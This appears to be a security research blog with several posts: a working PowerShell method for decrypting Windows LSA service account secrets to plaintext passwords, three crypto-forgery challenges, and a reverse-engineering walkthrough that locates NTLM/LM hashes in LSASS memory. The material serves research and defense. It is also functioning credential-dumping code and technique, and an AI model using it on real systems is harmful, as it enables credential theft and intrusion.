Reading Lsa Service Account Secrets using PowerShell
Reading Lsa Service Account Secrets using PowerShell
Intro
The Local Security Authority (Lsa) in Windows is designed to manage a Systems sec policy, auditing, logging users on to the system and storing private data such as Service Account Passwords, Cached Password hashes, FTP and Web-User Passwords, Remote Access Service (RAS) dial-up account Names and Passwords and Computer Account passwords for domain Access. The LSA Secrets are stored under the HKLM:\Security\Policy\Secrets key. This key contains additional sub-keys that store encrypted Secrets. The HKLM:\Security\Policy\Secrets key is not accesible from regedit or other tools by default, but you can access it by running as SYSTEM. Each Secret conatins five values:- CurrVal - Current Encrypted Value
- CupdTime - Last Update Time
- OldVal - Old Value
- OupdTime
- SecDesc - Security Descriptor
Reference
Hacking Exposed
PassCape Software
P/Invoke
Windows PowerShell V 2.0 includes a Cmdlet, Add-Type, which is used to add a Microsoft .NET Framework type (a class) to a Windows PowerShell session. It's also possible to call native Windows APIs in Windows PowerShell. If you want to learn how to call the Native Windows APIs, check out PInvoke.net. Pinvok.net is a wiki that allows developers to share PInvoke signatures, user-defined types, and any other info related to calling Win32 and other unmanaged APIs from managed code (C# VB.NET and PowerShell, Yaay). As for this particular little example (I think Yngwie Malmsteen used those words in 'Arpeggios from hell') we'll check out advapi32 and the LsaRetrievePrivateData function. The function is described here.Reference
PowerShell
As mentioned earlier, you can't access the HKLM:\Security\Policy\Secrets key as a User, however, you can access it as SYSTEM. A simple way of running PowerShell as NT AUTHORITY\SYSTEM is by using psexec.exe.PS > .\PsExec.exe -i -s powershell.exe PS > whoami nt authority\systemStep two is to use the sample code from P/Invoke in PowerShell. Thanks to the Add-Type CmdLet, we can simply place the C# sample code in a variable and pass it to the CmdLet using the MemberDefinition parameter.
$signature = @"
[StructLayout(LayoutKind.Sequential)]
public struct LSA_UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct LSA_OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public LSA_UNICODE_STRING ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
public enum LSA_AccessPolicy : long
{
POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
POLICY_TRUST_ADMIN = 0x00000008L,
POLICY_CREATE_ACCOUNT = 0x00000010L,
POLICY_CREATE_SECRET = 0x00000020L,
POLICY_CREATE_PRIVILEGE = 0x00000040L,
POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
POLICY_SERVER_ADMIN = 0x00000400L,
POLICY_LOOKUP_NAMES = 0x00000800L,
POLICY_NOTIFICATION = 0x00001000L
}
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaRetrievePrivateData(
IntPtr PolicyHandle,
ref LSA_UNICODE_STRING KeyName,
out IntPtr PrivateData
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaStorePrivateData(
IntPtr policyHandle,
ref LSA_UNICODE_STRING KeyName,
ref LSA_UNICODE_STRING PrivateData
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaOpenPolicy(
ref LSA_UNICODE_STRING SystemName,
ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
uint DesiredAccess,
out IntPtr PolicyHandle
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaNtStatusToWinError(
uint status
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaClose(
IntPtr policyHandle
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaFreeMemory(
IntPtr buffer
);
"@
Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil
In the example above we store the Sample Code from P/Invoke in a variable and then use the Add-Type CmdLet to Add it to our PowerShell Session.
Now for the tricky part. You can access the Lsa Secrets for Service Accounts using the NT AUTHORITY\SYSTEM account but you can't decrypt them. To decrypt the Values you have to own them. How to solve this? The simplest way is to use the reg.exe command.
In this example i'll use the SC_OSearch14 key (SharePoint 2010 Timer) and create a temporary key where i'll copy each of the represented values described above.
"CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object {
$copyFrom = "HKLM\SECURITY\Policy\Secrets\_SC_OSearch14\" + $_
$copyTo = "HKLM\SECURITY\Policy\Secrets\MySecret\" + $_
$regCopy = reg COPY $copyFrom $copyTo /s /f
}
Next, I'll create three objects holding the objectAtrtibutes, localSystem and secretName.
$objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES
$objectAttributes.Length = 0
$objectAttributes.RootDirectory = [IntPtr]::Zero
$objectAttributes.Attributes = 0
$objectAttributes.SecurityDescriptor = [IntPtr]::Zero
$objectAttributes.SecurityQualityOfService = [IntPtr]::Zero
# localSystem
$localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
$localsystem.Buffer = [IntPtr]::Zero
$localsystem.Length = 0
$localsystem.MaximumLength = 0
# Secret Name
$secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
$secretName.Buffer =
[System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("MySecret")
$secretName.Length =
[Uint16]("MySecret".Length * [System.Text.UnicodeEncoding]::CharSize)
$secretName.MaximumLength =
[Uint16](("MySecret".Length + 1) * [System.Text.UnicodeEncoding]::CharSize)
With the objects at hand i can go ahead and retrieve the Lsa Policy Handle.
$lsaPolicyHandle = [IntPtr]::Zero [LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION $lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy( [ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle ) $lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult)If the LsaOpenPolicy function works out, it returns '0', otherwise you'll have a nice error. A good tip is to check the output.
if($lsaOpenPolicyHandle -ne 0) {
Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle"
}
Next, we retrieve the Private Data using the LsaRetrievePrivateData function and close the LsaPolicyHandle.
$privateData = [IntPtr]::Zero $ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData( $lsaPolicyHandle, [ref]$secretName, [ref]$privateData ) $lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)Again, it's a good idea to check the exit code from the LsaRetrievePrivateData function.
if($lsaNtStatusToWinError -ne 0) {
Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError"
}
Next step is to convert the output to a managed object and then convert it to a string.
[LSAUtil.LSAUtil+LSA_UNICODE_STRING]$secretData = [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure( $privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING] ) [string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($secretData.Buffer) $value = $value.SubString(0, ($secretData.Length / 2)) $freeMemory = [LSAUtil.LSAUtil]::LsaFreeMemory($privateData)At this point, you should have a Password in clear text. To find the account associated with the '_SC_OSearch14' Service Account you can simply use WMI as demonstrated below.
$serviceName = "_SC_OSearch14" -Replace "^_SC_" $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'" $account = $service.StartNameLast step is to return the Account and Password as demonistraed below.
New-Object PSObject -Property @{
Account = $account;
SETEC_ASTRONOMY = $value
}
Account SETEC_ASTRONOMY
------- ---------------
POWERSHELL\spAdmin Password1
I would like to thank my mentor and friend Johannes Gumbel for pointing me in the right direction regarding Lsa Secrets. Stay tuned for more.
Click here to download the Lsa PowerShell function
Usage
PS > Get-LsaSecret -Key "_SC_OSearch14" PS > Split-Path (Get-ChildItem HKLM:\SECURITY\Policy\Secrets | >> Select -ExpandProperty Name) -Leaf | Get-TSGSecDumpThis post is also available at www.powershell.nu
Crypto challenge problem 3/3 – The finale
Time for the last problem! The only real change from problem 2 is that a SHA1 hash is appended at the end.
Problem #3
An authentication service will create AES enciphered tickets in CBC mode. The IV is a secret only known to the authentication service and repeated with each enciphered ticket.
The ticket format has support for an arbitrary number of properties:
TICKET=<prop name>:<prop data len>:<prop data> ...
To protect the ticket from modification a SHA1 hash is appended to the end of the encrypted ticket. The data hashed is <secret random 64-bit key (not the same as IV)><TICKET (serialized properties)>. Only tickets that have a valid SHA1 hash at the end will be processed by the authentication service.
Sample:
User 'mallory' logins in using password 'pass' and requests a ticket for service 'x@user.int' will result in the serialized ticket "TICKET=user:7:malloryservice:10:x@user.int" being enciphered.
To create the SHA1 signature for the ticket the data
<secret random 64-bit key>TICKET=user:7:malloryservice:10:x@user.int
is hashes using SHA1 and the result appended to the enciphered ticket.
Your goal is to create a ticket which is valid for service 'target@admin.int'. All properties in the ticket will be searched for an entry of "service:16:target@admin.int".
Preconditions:
The attacker can authenticate as the user "mallory" and may request valid tickets for any service under "@user.int". Allowed characters in service name are any bytes, not just printable ASCII as the previous challenges.
Best of luck,
Johannes
Crypto challenge problem 2/3 – Solution
After a long holiday break I'm back. Hopefully you’ve had some spare time over Christmas to play around with the second crypto challenge! Here is my suggested solution:
http://research.truesec.com/wp-content/uploads/2011/01/crypto-challenge-solution-2.html
- Johannes
Crypto challenge problem 1/3 – Solution
It's time for the official solution to the first crypto challenge. I've provided my solution as a separate download to make sure that no one accidently reads it. Hopefully you've cracked the problem yourself first and use my solution as a way to get a second perspective!
You can find the solution at http://research.truesec.com/wp-content/uploads/2010/12/crypto-challenge-solution-1.html.
- Johannes
Crypto challenge problem 2/3
Time for the second problem, the only real change is that the ECB mode is now CBC.
Problem #2
An authentication service will create AES enciphered tickets in CBC mode. The IV is a secret only known to the authentication service and repeated with each enciphered ticket.
The ticket format has support for an arbitrary number of properties:
TICKET=<prop name>:<prop data len>:<prop data> ...
Sample:
User 'mallory' logins in using password 'pass' and requests a ticket for service 'x@user.int' will result in the serialized ticket "TICKET=user:7:malloryservice:10:x@user.int" being enciphered.
Your goal is to create a ticket which is valid for service 'target@admin.int'. All properties in the ticket will be searched for an entry of "service:16:target@admin.int".
Preconditions:
The attacker can authenticate as the user "mallory" and may request valid tickets for any service under "@user.int". Allowed characters in service name is any printable ASCII character.
Best of luck,
Johannes
Crypto challenge problem 1/3
A few years ago I crafted three crypto challenges for a hacker competition called Birdie. Today at work we were discussing hacker challenges and I suggested that the others would solve the crypto challenges I made for Bridie, if only I could find them. Marcus suggested I'd put them here so that they could be available to everyone. Admittedly it was a good idea. After coming home and searching hi and low and digging through all my old USB sticks and CD discs I eventually found it.
My current plan is to publish the three problems in individual posts and after giving you some time to think I’ll publish a solution.
Problem #1
An authentication service will create AES enciphered tickets in ECB mode. The ticket format has support for an arbitrary number of properties:
TICKET=<prop name>:<prop data len>:<prop data> ...
Sample:
User 'mallory' logins in using password 'pass' and requests a ticket for service 'x@user.int' will result in the serialized ticket "TICKET=user:7:malloryservice:10:x@user.int" being enciphered.
Your goal is to create a ticket which is valid for service 'target@admin.int'. All properties in the ticket will be searched for an entry of "service:16:target@admin.int".
Preconditions:
The attacker can authenticate as the user "mallory" and may request valid tickets for any service under "@user.int". Allowed characters in service name is any printable ASCII character.
Good luck and remember to have fun!
- Johannes
Reversing LSASS in-memory hashes
Many years ago I wrote a tool called gsecdump which can be used for extracting various secrets from Windows. Since the previous release of gsecdump things have changed, for one thing, 32-bit support is no longer enough 64-bit also has to be supported. I'm almost done with the new version but there is still one piece missing, the extraction of hashes stored in the memory of LSASS (lsass.exe). This feature was available in previous versions using an injection technique and calling the "proper" LSASS internal functions. This has been very stable in my experience and never caused a crash, however, you can never be too safe and after a discussion with Bjorn (friend and college) it was decided to make the extraction of in-memory hashes without any injection.
Bjorn has himself created a couple of tools (lslsass32 and lslsass64) that extracts hashes from LSASS without any injection on Windows Vista and later and offered to share his code with me so that I could implement it in gsecdump. I haven't seen his code yet, but I decided to start working on the support for Windows 2000 through Windows 2003 since those platforms aren't yet supported by Bjorns tools.
In this post I'll give you a brief on how one can reverse LSASS and learn all the information needed in order to extract the in-memory hashes.
Before I begin I'd like to note that I'll make no attempt to describe this is a very much detail, you'll going to need IDA (the disassembler) experience and you will be well of reading up on LSASS and Authentication Packages on MSDN.
I know that msv1_0.dll is the authentication provider responsible for the work with good old NTLM hashes so that is where I'll start. I booted up my Windows 2000 virtual machine and copied msv1_0.dll to the system I was using for the analysis.
After loading msv1_0.dll into IDA I found the exported function LsaApInitializePackage, the function LSASS calls to initialize an authentication package once loaded into lsass.exe.
Taking a quick look at MSDN reveals that the second parameter to LsaApInitializePackage is a pointer to a dispatch table of LSASS internal functions. Looking at MSDN I quickly found that the GetCredentials function in the dispatch table is at offset 0xC (12 decimal). Going back to the function in IDA it is simply a matter of determining how msv1_0 stores this function pointer.
Figure-1 shows how the GetCredentials (called LsaGetCredentials in the disassembly) function pointer is stored in a global variable, going to that global variable in IDA and searching the references one finds that this function is called in one place.

Figure 1 - Disassembly of LsaApInitializePackage
After following the reference I was faced with the actual function call that msv1_0 makes to LSASS in order to retrieve the hashes (belonging to msv1_0) stored in LSASS memory. To simplify things the first thing I did was read the documentation for GetCredentials on MSDN. The Figure-2 shows the disassembly where I've filled in the information from MSDN.

Figure 2 - Call to GetCredentials (called LsaGetCredentials in disassembly)
Reading on MSDN one also find that the result is stored in the pointer Credentials. My first question was; what does that data look like that Credentials points to? This data is treated like an opaque blob by LSASS and is only stored there, the structure of the blob is only known to msv1_0. Specifically, it may be known to the very function I'm looking at. To discover the structure of this blob I'm going to need to examine what the msv1_0 code does whenever it successfully retrieves the credentials using GetCredentials.
Instead of looking at the arguments to the GetCredentials call I shifted my view to look at what happens to the result of the call.
After filling in the information I knew from the arguments to the GetCredentials call it is easy to see that the code in Figure-3 processes the credentials found.

Figure 3 - LsaGetCredentials Result
There are a couple of calls to a function called sub_78147939, I'll need to reverse this function first.
Figure-4 shows a commented disassembly of the function sub_78147939, this time renamed to Sub_RebasePtr. The function takes a relative pointer value and updates it to an absolute value. This sounds reasonable; apparently msv1_0 stores pointers inside the structure which needs to be updated.

Figure 4 - Sub_RebasePtr disassembly
Going back to the result of the GetCredentials function call and updating it with the information found when disassembling Sub_RebasePtr the disassembly now looks like Figure-5.

Figure 5 - LsaGetCredentials result with commented disassembly
In summary we now know that msv1_0 stores a structure of the form:
DWORD Unknown1 VOID* UnknownPtr4 DWORD Unknown3 VOID* UnknownPtr4 …
This is a good start, but we’ll need to determine what these fields contain. To do that I’ll use a debugger instead!
Before I started up the debugger I actually disassembled the function GetCredentials. After disassembling GetCredentials and looking around a bit in lsasrv.dll (the DLL which contains the implementation of GetCredentials used by LSASS) I found this:
The credentials stored by authentication packages are stored in LSASS using a structure that looks like:
DWORD Unknown STRING KeyString STRING Credential
The STRING structure is a structure defined in the Windows SDK and contains the members:
USHORT Length USHORT MaximumLength PCHAR Buffer
The KeyString variable is a key that the provider specifies when setting and getting credentials. Looking at the disassembly in Figure-2 one finds that msv1_0 is providing the key string “Primary” when retrieving the credentials we are looking for.
The Credential variable contains the blob that the authentication provider specified when setting the credential.
In addition to this I also found that these secrets are allocated on the LSASS private heap.
Now I booted up my virtual Windows 2000 which is called W2KSRV, logged in as Administrator and attached a debugger to lsass.exe.
… NTSD ModLoad: 75010000 75017000 WSHTCPIP.dll NTSD ModLoad: 67400000 67426000 DSSBASE.dll eax=00000000 ebx=00000000 ecx=00000101 edx=ffffffff esi=00000000 edi=00000200 eip=77f9f9df esp=0080ffa8 ebp=0080ffb4 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000286 ntdll!DbgBreakPoint: 77f9f9df cc int 3 0:018>
What I want to do is find the msv1_0 credential blob in memory and currently I only know that it is somewhere in the LSASS private heap.
0:018> dd lsasrv!LsaPrivateHeap l1 dd lsasrv!LsaPrivateHeap l1 7665f650 00070000
Great, the private heap is at 0x00070000, let’s determine the size of it.
0:018> !heap 00070000 !heap 00070000 Index Address Name Debugging options enabled 1: 00070000 Segment at 00070000 to 00170000 (00040000 bytes committed) 2: 00170000 3: 00230000 4: 00410000 5: 00850000 6: 009a0000 7: 00dc0000 8: 00e00000 9: 00f40000 10: 00f90000
Ok, the LSASS private heap starts at 0x00070000 and ends at 0x00170000. This is a good start, but what do we search for? I decided to search for the string “Primary”, simply because it is the key that msv1_0 used to associate with the credentials.
0:018> s 00070000 00170000 'P' 'r' 'i' 'm' 'a' 'r' 'y' s 00070000 00170000 'P' 'r' 'i' 'm' 'a' 'r' 'y' 000af698
Only a single address contains the string "Primary", let's find any references to it.
0:018> s 00070000 00170000 98 f6 0a 00 s 00070000 00170000 98 f6 0a 00 000aec98
A single match! Let’s check it out.
0:018> dd 000aec98-8 l6 dd 000aec98-8 000aec90 00000000 00080007 000af698 005f005e 000aeca0 000af198 000000ff 00040004 000e0100
Gibberish? No. Think back to the structure that was used to house the credential blobs. The first member is currently unknown and here 0x00000000. The second member was KeyString of type STRING. Placing the values from the debugger into a STRING structure we get:
KeyString.Length = 0x0007
KeyString.MaximumLength = 0x0008
KeyString.Buffer = 0x000af698
The third member was Credential of type STRING. Placing the values from the debugger into that STRING structure and we get:
Credential.Length = 0x005e
Credential.MaximumLength = 0x005f
Credential.Buffer = 0x000af198
Awsome! The blob stored by msv1_0 in LSASS is at 0x000af198 and contains 0x5e bytes.
0:018> db 000af198 l5e db 000af198 l5e 000af198 0c 00 0e 00 34 00 00 00-1a 00 1c 00 42 00 00 00 ....4.......B... 000af1a8 31 d6 cf e0 d1 6a e9 31-b7 3c 59 d7 e0 c0 89 c0 1....j.1.<Y..... 000af1b8 aa d3 b4 35 b5 14 04 ee-aa d3 b4 35 b5 14 04 ee ...5.......5.... 000af1c8 00 01 00 00 57 00 32 00-4b 00 53 00 52 00 56 00 ....W.2.K.S.R.V. 000af1d8 00 00 41 00 64 00 6d 00-69 00 6e 00 69 00 73 00 ..A.d.m.i.n.i.s. 000af1e8 74 00 72 00 61 00 74 00-6f 00 72 00 00 00 t.r.a.t.o.r... 0:018> dd 000af198 l(5e/4) dd 000af198 l(5e/4) 000af198 000e000c 00000034 001c001a 00000042 000af1a8 e0cfd631 31e96ad1 d7593cb7 c089c0e0 000af1b8 35b4d3aa ee0414b5 35b4d3aa ee0414b5 000af1c8 00000100 00320057 0053004b 00560052 000af1d8 00410000 006d0064 006e0069 00730069 000af1e8 00720074 00740061 0072006f
Think back to the reversing done in msv1_0 I remembered that there were relative pointers stored at offset 4 and 0xC (12). To rebase these pointers msv1_0 added the value of the structure to these relative pointers. After performing the fixup the data looks like:
000af198 000e000c 000af1cc 001c001a 000af1da 000af1a8 e0cfd631 31e96ad1 d7593cb7 c089c0e0 000af1b8 35b4d3aa ee0414b5 35b4d3aa ee0414b5 000af1c8 00000100 00320057 0053004b 00560052 000af1d8 00410000 006d0064 006e0069 00730069 000af1e8 00720074 00740061 0072006f
Keeping the STRING structure in mind it was easy to guess the structure that is contained in this blob.
STRING Domain STRING Username BYTE[16] NtlmHash BYTE[16] LmHash
When filling in the values from the blob you get:
Domain.Length = 0xC
Domain.MaximumLength = 0xE
Domain.Buffer = 0x000AF1CC
Username.Length = 0x1A
Username.MaximumLength = 0x1C
Username.Buffer = 0x000AF1DA
NtlmHash[] = { 0x31, 0xd6, 0xcf, 0xe0, 0xd1, 0x6a, 0xe9, 0x31, 0xb7, 0x3c, 0x59, 0xd7, 0xe0, 0xc0, 0x89, 0xc0 }
LmHash[] = { 0xaa, 0xd3, 0xb4, 0x35, 0xb5, 0x14, 0x04, 0xee, 0xaa, 0xd3, 0xb4, 0x35, 0xb5, 0x14, 0x04, 0xee }
Let’s examine the strings found at 0x000AF1CC (which should be the domain) and 0x000AF1DA (which should be the username).
0:018> du 000af198+34 lc du 000af198+34 lc 000af1cc "W2KSRV" 0:018> du 000af198+42 l1a du 000af198+42 l1a 000af1da "Administrator"
Yeey, the guess was right!
Since I wanted to make sure I was right about the hash placement guesses I decided to verify with gsecdump SAM/AD extraction. Figure-6 shows the output of gsecdump when run on my virtual Windows 2000.

Figure 6 - Gsecdump output
The hashes match! And we are done.
Now all I have to do is implement some algorithm to properly and uniquely identify this structure in the memory of lsass.exe.
I hope you enjoyed this post and hopefully most of you learnt at least something, if you did, be sure to read it again and perhaps you’ll learn even more.
- Johannes